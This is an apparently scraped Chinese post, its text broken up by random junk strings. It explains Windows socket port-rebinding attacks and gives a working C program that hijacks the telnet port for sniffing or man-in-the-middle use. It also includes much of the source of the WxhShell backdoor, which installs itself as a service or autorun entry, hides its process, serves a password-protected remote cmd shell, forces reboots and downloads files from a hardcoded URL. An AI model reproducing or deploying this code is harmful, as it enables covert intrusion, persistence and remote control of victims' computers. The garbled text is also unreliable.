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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sa"}9IE*8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p%K(dA t 6lwKK saddr.sin_family = AF_INET; x0) WrDb r\)bN4-g saddr.sin_addr.s_addr = htonl(INADDR_ANY); cmU>A721 K_!:oe7% bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }<*KM)% tf[)| /M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3Vak
C i4XiwjCHN 这意味着什么?意味着可以进行如下的攻击: ru4M=D b`F]oQ_* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pbw{EzM {-%8RSK=< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z%\&n0 RaP,dR+P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %E"Z &_3{ ;|:R*(2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ? PpS4Rd 2 gR*] ?C* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1+YqdDqQ P+QL||>L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 syI|gANT/r Xg*](>/\, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V)vik qv'w 7T #include [+!&iN #include I0!]J{ #include $g/h=w@ #include e+MQmWA'F DWORD WINAPI ClientThread(LPVOID lpParam); yrd1J$ int main() C7DwA/$D { <XN=v!2; WORD wVersionRequested; NCl@C$W9q DWORD ret; n7yp6Db WSADATA wsaData; -:OJX #j BOOL val; ml /S|`Drk SOCKADDR_IN saddr; Yy6$q\@rV SOCKADDR_IN scaddr; HxcL3Bh$~} int err; M>}_2G]#F SOCKET s; m;t&P58f SOCKET sc; +'nMy"j1 int caddsize; (OA4H1DL^ HANDLE mt; )4m`Ya,E3 DWORD tid; kg\8 (@h] wVersionRequested = MAKEWORD( 2, 2 ); <Y2$'ETD err = WSAStartup( wVersionRequested, &wsaData ); 4u"Bll if ( err != 0 ) { =|8hG*D8 printf("error!WSAStartup failed!\n"); -Tn%O|#K return -1; QHc([%oV } O%N. ;Ve saddr.sin_family = AF_INET; yxU9W,D v jL'`M%8O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #<EYO S4'<kF0z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *[|+5LVn saddr.sin_port = htons(23); 9C0#K\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1:>F{g { DUh\x>^ printf("error!socket failed!\n"); Ez-Q'v(9 return -1; ge<D}6GQ } ._Ww val = TRUE; b4WH37,lA //SO_REUSEADDR选项就是可以实现端口重绑定的 ?_cOU@n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (z?j{J { -'SA&[7dP printf("error!setsockopt failed!\n"); L"n)fe$ return -1; 6U.|0mG[ }
v+8Ybq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UGj |)/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }lT;?|n:h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -6~.;M 5 i];P!Gm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bv'%$}}- { j<k6z ret=GetLastError(); Poa&htxe1 printf("error!bind failed!\n"); y@<2`h return -1; 7nFOVZ } /
*PHX@ listen(s,2); ! ?/:p. while(1) P^48]Kj7 { :9Jy/7/ caddsize = sizeof(scaddr); /zoy,t-i //接受连接请求 z|X6\8f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cD}]4 if(sc!=INVALID_SOCKET) 3?@6QcHl{ { X2rKH$<g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ] _5b
if(mt==NULL) !8|}-eFY { 7(N+'8 printf("Thread Creat Failed!\n"); l`i97P?/W break; \C h01LR" } [~ 2imS } j49Uj}:j CloseHandle(mt); / of K7/ } 2J8:_Ql3I closesocket(s); : -d_ WSACleanup(); :dAd5v2f return 0; BP0:<vK{ } W)/^*,
Q7 DWORD WINAPI ClientThread(LPVOID lpParam) "Y=`w,~~ { ?Rx(@ SOCKET ss = (SOCKET)lpParam; \7"|'fz SOCKET sc; *8/Xh)B; unsigned char buf[4096]; lg~7[=%k# SOCKADDR_IN saddr; VqpC@C$ long num; )1KyUQ\e DWORD val; qq]Iy= DWORD ret; \6JOBR //如果是隐藏端口应用的话,可以在此处加一些判断 -!:5jfT" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Xq&BL,lS saddr.sin_family = AF_INET; /:'>-253 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6/Xs}[iJ saddr.sin_port = htons(23);
});Rjg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;'= cNj { oSC'b% printf("error!socket failed!\n"); n=vDEX:' return -1; *{!Y_FrL } fzQR0 val = 100; $R1I(sJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wi'}d6c { HOF$(86zqA ret = GetLastError(); X["xC3 i return -1; %.<_+V#h } @XV&^l- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4n@lrcq( { ,7]hjf_h ret = GetLastError(); A>1$?A8Q return -1; O9(z"c } I}3F'}JV< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g}xL7bTlI> { Oo}h:3? printf("error!socket connect failed!\n"); pB8D closesocket(sc); Y}N\|*ye- closesocket(ss); ,T<JNd' return -1; P*OG`%y } 0)332}Oh while(1) zqo0P~ {
p;w&}l{{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +*:mKx@Nw //如果是嗅探内容的话,可以再此处进行内容分析和记录 /[.V( K
D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -HG.GA num = recv(ss,buf,4096,0); R[a-" if(num>0) At4\D+J{Vs send(sc,buf,num,0); 1x:W 3. else if(num==0) \}s/<Q break; !i^"3!.l,] num = recv(sc,buf,4096,0); 2Lf,~EV if(num>0) D=TS IJ@ send(ss,buf,num,0); SG&,o=I$ else if(num==0) ir_XU/ve break; a(~Y:v } >+P}S@ closesocket(ss); ?K>)bA&l' closesocket(sc); m-vn5OX return 0 ; ;7QXs39S } Mh.1KI[t 10Ik_L='
X8$Mzeq ========================================================== >u&D@7~c %o0b~R 下边附上一个代码,,WXhSHELL P 0,]`w Fo.Y6/} ========================================================== %8FfP5# i[!|0U`p #include "stdafx.h" J rx^ g<W]NYm #include <stdio.h> $nO~A7 #include <string.h> mH&7{2r #include <windows.h> &q-&%~E@ #include <winsock2.h> AG@gOm #include <winsvc.h> \9)5b8 #include <urlmon.h> Hd|[>4 Z kGYpJg9= #pragma comment (lib, "Ws2_32.lib") ub-3/T #pragma comment (lib, "urlmon.lib") [a2]_]E% b>;?{ #define MAX_USER 100 // 最大客户端连接数 Rql/@j`JX #define BUF_SOCK 200 // sock buffer ga5Q #define KEY_BUFF 255 // 输入 buffer 9\_AB.Z: V`^*Z}d9 #define REBOOT 0 // 重启 ("2X8(3z #define SHUTDOWN 1 // 关机 @N4_){s* ws'e #define DEF_PORT 5000 // 监听端口 SK}sf9gTv qzUiBwUi@ #define REG_LEN 16 // 注册表键长度 y2jv84
M #define SVC_LEN 80 // NT服务名长度 _O`p (6 mr\,"S-` // 从dll定义API (p-q>@m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i%K6<1R;y{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IzpE|8l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EZ)b E9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); An.
A1y K%v:giN$l` // wxhshell配置信息 D$hQ-K struct WSCFG { J:@gmo`M;V int ws_port; // 监听端口 4X+xh|R:U char ws_passstr[REG_LEN]; // 口令 TEz;:* ,CG int ws_autoins; // 安装标记, 1=yes 0=no atTR6%!6 char ws_regname[REG_LEN]; // 注册表键名 I%YwG3uR char ws_svcname[REG_LEN]; // 服务名 =!'9TS char ws_svcdisp[SVC_LEN]; // 服务显示名 ~T_|?lU`R char ws_svcdesc[SVC_LEN]; // 服务描述信息 z9aR/:W} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r3'J{-kl int ws_downexe; // 下载执行标记, 1=yes 0=no v`A)GnNiN char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |OH*c3~r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0;bdwIP3 ,a #>e }; u#76w74 B$eM // default Wxhshell configuration zm&[K53 struct WSCFG wscfg={DEF_PORT, 2{79,Js0 "xuhuanlingzhe", lVvcrU 1, uy{O "Wxhshell", 46>rvy.r "Wxhshell", A8'RM F1 "WxhShell Service", ^Arv6kD, "Wrsky Windows CmdShell Service", 4 /_jrZO "Please Input Your Password: ", ET}Z>vU}+ 1, 1K Fd
~U " http://www.wrsky.com/wxhshell.exe", )U %`7(bN "Wxhshell.exe" wL0[Slf} }; ?'> .> n
_K1% // 消息定义模块 d{S'6*`D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c4fH/- char *msg_ws_prompt="\n\r? for help\n\r#>"; cp`Jep<T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *yhA8fJ char *msg_ws_ext="\n\rExit."; Z@zo~*o char *msg_ws_end="\n\rQuit."; v"k ?e char *msg_ws_boot="\n\rReboot..."; 2;v:Z^& char *msg_ws_poff="\n\rShutdown..."; xX<f4H\' char *msg_ws_down="\n\rSave to "; <:9ts@B .LDZqWr- char *msg_ws_err="\n\rErr!"; +e{ui + char *msg_ws_ok="\n\rOK!"; }4C_r'd6 1-y8Hy_a2 char ExeFile[MAX_PATH]; 6>]_H(z7 int nUser = 0; <2pp6je\0s HANDLE handles[MAX_USER]; 6Z_V,LD9L int OsIsNt; ##jJaSxG k{ qxsNM SERVICE_STATUS serviceStatus; NXOXN]=c< SERVICE_STATUS_HANDLE hServiceStatusHandle; )E9!m 4S26TgY // 函数声明 )L b` 4B int Install(void); F$t]JM int Uninstall(void); k4q":}M int DownloadFile(char *sURL, SOCKET wsh); |5~Oh`w int Boot(int flag); rI$NNk'A void HideProc(void); T?1BcY
int GetOsVer(void); c(Dp`f, int Wxhshell(SOCKET wsl); =Y2 Rht void TalkWithClient(void *cs); 4/(#masIL int CmdShell(SOCKET sock); eo]nkyYDP int StartFromService(void); FyEKqYl int StartWxhshell(LPSTR lpCmdLine); 1/-3m Po m9[ 7"I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nah?V"
?Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,WyEwc] ._rPM>B? // 数据结构和表定义 '4'Z
SERVICE_TABLE_ENTRY DispatchTable[] = mx9vjWfy { s@Q7F{z {wscfg.ws_svcname, NTServiceMain}, p"0#G&- {NULL, NULL} c,1 G+. }; }b2YX+/e$f m,HE4`g // 自我安装 dj0%?g> int Install(void) 9`f@"%h { %+'Ex]B char svExeFile[MAX_PATH]; { "]!zL HKEY key; 2^'Ec:|f strcpy(svExeFile,ExeFile); irlFB#.. D\Ez~.H // 如果是win9x系统,修改注册表设为自启动 XM\\Imw if(!OsIsNt) { >w.;A%|N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (G|!{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }TTghE! RegCloseKey(key); <+*0{8?0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y(|#!m?@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T~3{$ RegCloseKey(key); zmhc\M?z return 0; &{j!!LL } %,[,mW4l } i]Mem M- } B{/og*xd*1 else { a"@f< wU~ 0Md>-H;ZY // 如果是NT以上系统,安装为系统服务 ()aCE^C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U`6|K$@ if (schSCManager!=0) e=&~6bs1U { ~xqiasE#K SC_HANDLE schService = CreateService ~v8X>XDL?T ( xL15uWk- schSCManager, *O[/KR% wscfg.ws_svcname, Z
)c\B wscfg.ws_svcdisp, |^1g*fy? SERVICE_ALL_ACCESS, fTj@/"a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gXI-{R7Me SERVICE_AUTO_START, 'HWl_M SERVICE_ERROR_NORMAL, cX9o'e:C svExeFile, xb\EJ1M> NULL, 3wfcGQn|sD NULL, HO<|EH~lu NULL, I(M/X/ NULL, uX-^9t NULL =dQ[I6 ); ,=+t2Bn if (schService!=0)
xgxfPcI { `t/j6e] CloseServiceHandle(schService); _*H Hdd5I CloseServiceHandle(schSCManager); CR$wzjP j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ ITd\)F%N strcat(svExeFile,wscfg.ws_svcname); ec; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i
bzY&f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /phMrL= RegCloseKey(key); ! ;>s .] return 0; @XJ7ff& } %np(z&@wi } "s|P,*Xf CloseServiceHandle(schSCManager); 3VLwY!2: } 3t<a3"{9 } ]$ d ;P L(|K{vH h] return 1; 1Le8W)J } e :HORc~U i+14!LlI // 自我卸载 \a+Q5g int Uninstall(void) 8-@@QZ\N { ~Eg]Auk7 HKEY key; {m*lt3$k kTH""h{ if(!OsIsNt) { b>ZAkz)U+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :fj>JF\[ RegDeleteValue(key,wscfg.ws_regname); vD8pVR+ RegCloseKey(key); &pY' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Movm1*&= RegDeleteValue(key,wscfg.ws_regname); ^'=[+ RegCloseKey(key); ))AxU!*. return 0; l<1zLA~G } C`r:jA<LC, } kSV(T'#x } ^mLX}E] else { rCF=m]1zxT v7pu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (kR
NqfX if (schSCManager!=0) e.vt"eRB { Fj`k3~tUw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n{N0S^h if (schService!=0) `qJJ{<1&U { )5( jx if(DeleteService(schService)!=0) { XQ=% a5w CloseServiceHandle(schService);
%.d.h;^T CloseServiceHandle(schSCManager); m]V#fRC return 0; \d;)U4__! } +IS6l*_y>6 CloseServiceHandle(schService); ,Vq$>T@z } w4P;Z-Cd CloseServiceHandle(schSCManager); pyV`O[ } #M~yt`R~ } +\ftSm> c1E{J<pZ return 1; Yeg<MrS4D } J.R])
&CB MB;rxUbhe3 // 从指定url下载文件 nl}LT/N int DownloadFile(char *sURL, SOCKET wsh) |yz[mP*;o { FaCW +9B HRESULT hr; 07Yak<+~ char seps[]= "/"; w)|9iL8 char *token; pfZ[YC- char *file; FdE?uw char myURL[MAX_PATH]; '4M{Xn}@ char myFILE[MAX_PATH]; m!KEK\5M? NxF:s,a6 strcpy(myURL,sURL); g$NUu token=strtok(myURL,seps); x:0swZ5Z while(token!=NULL) AM=> P7 { k6"(\d9o file=token; Pm6U:RL token=strtok(NULL,seps); :
jkO } G>"n6v'^d Pl=)eq YY GetCurrentDirectory(MAX_PATH,myFILE); gbYM1guiD strcat(myFILE, "\\"); `^#4okg] strcat(myFILE, file); E{[Y8U1n send(wsh,myFILE,strlen(myFILE),0); &Z>??|f send(wsh,"...",3,0); @k{q[6c2n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9n is8 if(hr==S_OK) C&Qt*V#, return 0; DTH}=r- else LpY{<:y return 1; ^~N:lW#= tm/>H } /RJ]MQ\*O 3\4e{3$ // 系统电源模块 vv&< 7[ int Boot(int flag) 2H w7V3q { e|:\Ps `8 HANDLE hToken; ]d[e TOKEN_PRIVILEGES tkp; lusUmFm'* }' tJc $! if(OsIsNt) { |J4sQ!%K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g4k3~,=D3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y!45Kio tkp.PrivilegeCount = 1; 7k,BE2]" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q)9n%- YgP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2FaCrc/ if(flag==REBOOT) { bD=H$) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *lA+-gkK* return 0; LU;zpXg\ } 05{}@tW- else { =v^#MU{k? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C-S>'\|8 return 0; k62s|VeU } [K,P)V>K } }F0<8L6% else { _cJ)v/] if(flag==REBOOT) { N$Ad9W?T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r'y Nc&~ return 0; i`e[Vwe2x@ } ROn@tW else { UapU:>!"` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VqvjOeCbH return 0; g_{N^wS } 6)0.q|Q } ;v\s 7y M.,DXEZT return 1; q
8sfG ;) } 4v/MZ:%C` l!XCYg@67 // win9x进程隐藏模块 @Ol(:{< void HideProc(void) t O.5 { Ph]b6 NA2={RB; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qJT/48lf_ if ( hKernel != NULL ) (/<Nh7C1c { 6QA`u* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^%zhj3# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sgi5dQ FreeLibrary(hKernel); nK03x YA } @*<0:Q|m D|Q7dIZm return; (_4DZMf } C{m%]jKH ?Xvy0/s5 // 获取操作系统版本 vE^tdzAG int GetOsVer(void) Cp/f18zO { 2?
yo OSVERSIONINFO winfo; N,K/Ya)1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wH!$TAZ:Yw GetVersionEx(&winfo); j24 3oD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mrRid}2 return 1; 66F?exr else 5b/ ~]v return 0; -t S\ } :,JjN& ]i(/T$?~ // 客户端句柄模块 4 @{?4k-cq int Wxhshell(SOCKET wsl) _b%) { W;=Ae~ SOCKET wsh; SWx: -< struct sockaddr_in client; nl
'MWP DWORD myID; v.<mrI#? hT 1JEu while(nUser<MAX_USER) 'I/_vqp@ { MZ$uWm`/ int nSize=sizeof(client); 5C1EdQ4S0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (o IGp if(wsh==INVALID_SOCKET) return 1; |?VJf3A 1N(1h
D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8u~ if(handles[nUser]==0) :p}8#rb closesocket(wsh); -O\i^?lD; else 8 5ET$YV nUser++; qJ`:$U } #at`7#K@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xrvM}Il B2j1GJEO return 0; -c]AS[( } 9x@|%4Zm" k o[w#j // 关闭 socket [s[ZOi!;I void CloseIt(SOCKET wsh) e^\e;>Dh> { Gqd|F> closesocket(wsh); (&eF E ;c nUser--; \t=0rFV)t ExitThread(0); Godrz*" } =W3
K6w Dj96t5R // 客户端请求句柄 ) %Fwfb void TalkWithClient(void *cs)
lvWwr!w { 24#qg' L>~Tc SOCKET wsh=(SOCKET)cs; .+ u
b\ char pwd[SVC_LEN]; 1X5g(B
char cmd[KEY_BUFF]; JXJ+lZmsz char chr[1]; ^C'0Y.H S int i,j; :+Ukwno?/ 1V1I[CxlX while (nUser < MAX_USER) { =${.*,o
Qh&Qsyo% if(wscfg.ws_passstr) { _|GbU1Hz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [-$
Do //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WuUwd#e //ZeroMemory(pwd,KEY_BUFF); uRko[W( i=0; !-7n69:G while(i<SVC_LEN) { u5A?; a `Fn"QL- // 设置超时 b`-|7<s fd_set FdRead; o0 C&ol_ struct timeval TimeOut; 1]G)41 FD_ZERO(&FdRead); q_.fVn:! FD_SET(wsh,&FdRead); d:';s~ TimeOut.tv_sec=8; sRD
fA4/TF TimeOut.tv_usec=0; \i_E}Ii0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .^{%hc*w4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WChP,hw hNN[dj R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QnVr)4" pwd =chr[0]; l@B9}Icq if(chr[0]==0xd || chr[0]==0xa) { V,_m>$Mo pwd=0; )6)bI.BY break; W\kli';jyC } y,nmPX?]n i++; VQla.Y } V_SH90@)+ z/{X{+Z // 如果是非法用户,关闭 socket \nZB@u;S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 12n:)yQy } n6%` uAPVR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :82h GU send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2DW@}[G xrkl)7; while(1) { B}d&tH2^s }'x;J ZeroMemory(cmd,KEY_BUFF); GkJcd; 3^y(@XFt // 自动支持客户端 telnet标准 z lr! j=0; )JS6W while(j<KEY_BUFF) { >-A@6Qe_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f(5(V
% cmd[j]=chr[0]; p +i1sY if(chr[0]==0xa || chr[0]==0xd) { +%W8Juu
cmd[j]=0; ~(d
{j}M> break; 1/Ts .\K3 } rz "$zc.) j++; 5YD~l(,S1] } P'Rw/co NGc~%0n // 下载文件 Z[. M>| if(strstr(cmd,"http://")) { J3 _aHI send(wsh,msg_ws_down,strlen(msg_ws_down),0); E]`7_dG+T if(DownloadFile(cmd,wsh)) }sXTZX send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x"uP else FRd"F$U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O_:l;D#i } _nbr%PD, else { aZA``#p+ ]1!" q40)] switch(cmd[0]) { sW[-qPK< jfuHZ^ YA // 帮助 qE~_}4\Z9 case '?': { y+(\:;y$7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k]@]a break; +Y%6y]8 } y"q
aa // 安装 [r/zBF-. case 'i': { "bo0O7InOV if(Install()) o:@Q1+p send(wsh,msg_ws_err,strlen(msg_ws_err),0); Urr%SIakvM else PE%$g\#? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >pU9}2fpT break; I/dy^5@F } !ZBtXt#P // 卸载 @[n#-!i case 'r': { 3$\k=q3`# if(Uninstall()) W'[V$* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'h*jL@%TT else p>B2bv+L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 t5kou]h break; t7+A!7b{ } EA& 3rI>U) // 显示 wxhshell 所在路径 xl\Kj2^ case 'p': { m^_=^z+ char svExeFile[MAX_PATH]; Jxe+LG strcpy(svExeFile,"\n\r"); ~K;QdV=YX strcat(svExeFile,ExeFile); c2npma]DZ send(wsh,svExeFile,strlen(svExeFile),0); tq3_az ~1 break; ;m(iKwDt } sl]<A[jR // 重启 8-2`S* case 'b': { 4_R|3L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w_(3{P[Iz if(Boot(REBOOT))
THYw_]K send(wsh,msg_ws_err,strlen(msg_ws_err),0); '.mepxf< f else { k +-w% closesocket(wsh); ]\78(_o.zz ExitThread(0); jm^.E\_ } |YJ83nSO~ break; ]O@$}B];) } qLN\%}69/ // 关机 &R94xh%@( case 'd': { &|hK79D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I%[e6qX@ if(Boot(SHUTDOWN)) "`vRHeCKN send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/zRw-q3B else { cl4E6\?z closesocket(wsh); ^ Bx[% ExitThread(0); j6rN t| } ";K w? break; >fPo_@O } ZitM<Qi&y // 获取shell /DYyl/ case 's': { X]0>0=^ CmdShell(wsh); <L&EH@T closesocket(wsh);
yayhL
DL ExitThread(0); OK[J
h break; {K,In)4 } 4-(kk0]`z // 退出 Y=Vbs x case 'x': { %Y^J'' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oUv26t~ CloseIt(wsh); u!_l/'\ break; #z `W ,^C } ,erw(7}'. // 离开 ;5[KZ8j6Y case 'q': { 8H!QekQZ]\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); F!omkN closesocket(wsh); `9~
%6N?7# WSACleanup(); ,WT>"9+ exit(1); }Z!D?( break; )g0fN+Mb } {0zn~+ } M;(,0d k } UiFH*HT G=zWhqieh // 提示信息 =&HLz
7| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J!I)G&: } %Tm*^ } M+/xw8}a 'Uok<; return; mB?x_6#d9 } .fA*WQ!lb wKV4-uyr // shell模块句柄 #+I'V\[ int CmdShell(SOCKET sock) kxn&f(5 { }Mcb\+[ STARTUPINFO si; UtZ,q!sg ZeroMemory(&si,sizeof(si)); j)A#}4jd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D &@] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \/A.j|by,> PROCESS_INFORMATION ProcessInfo; g)D_!iz char cmdline[]="cmd"; KpLmpK1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U.%Kt,qB return 0; qNp1<QO0 } xP;r3u
s WjV15\, // 自身启动模式 K2 int StartFromService(void) ]MbPivM { I=Y>z^4 typedef struct _X6'uJ { &p0e)o~Ux DWORD ExitStatus; &d# R'Z DWORD PebBaseAddress; t}EMX9SQ DWORD AffinityMask; qe~x?FO_> DWORD BasePriority; wp[Ug2;G ULONG UniqueProcessId; bDI%}k9# ULONG InheritedFromUniqueProcessId;
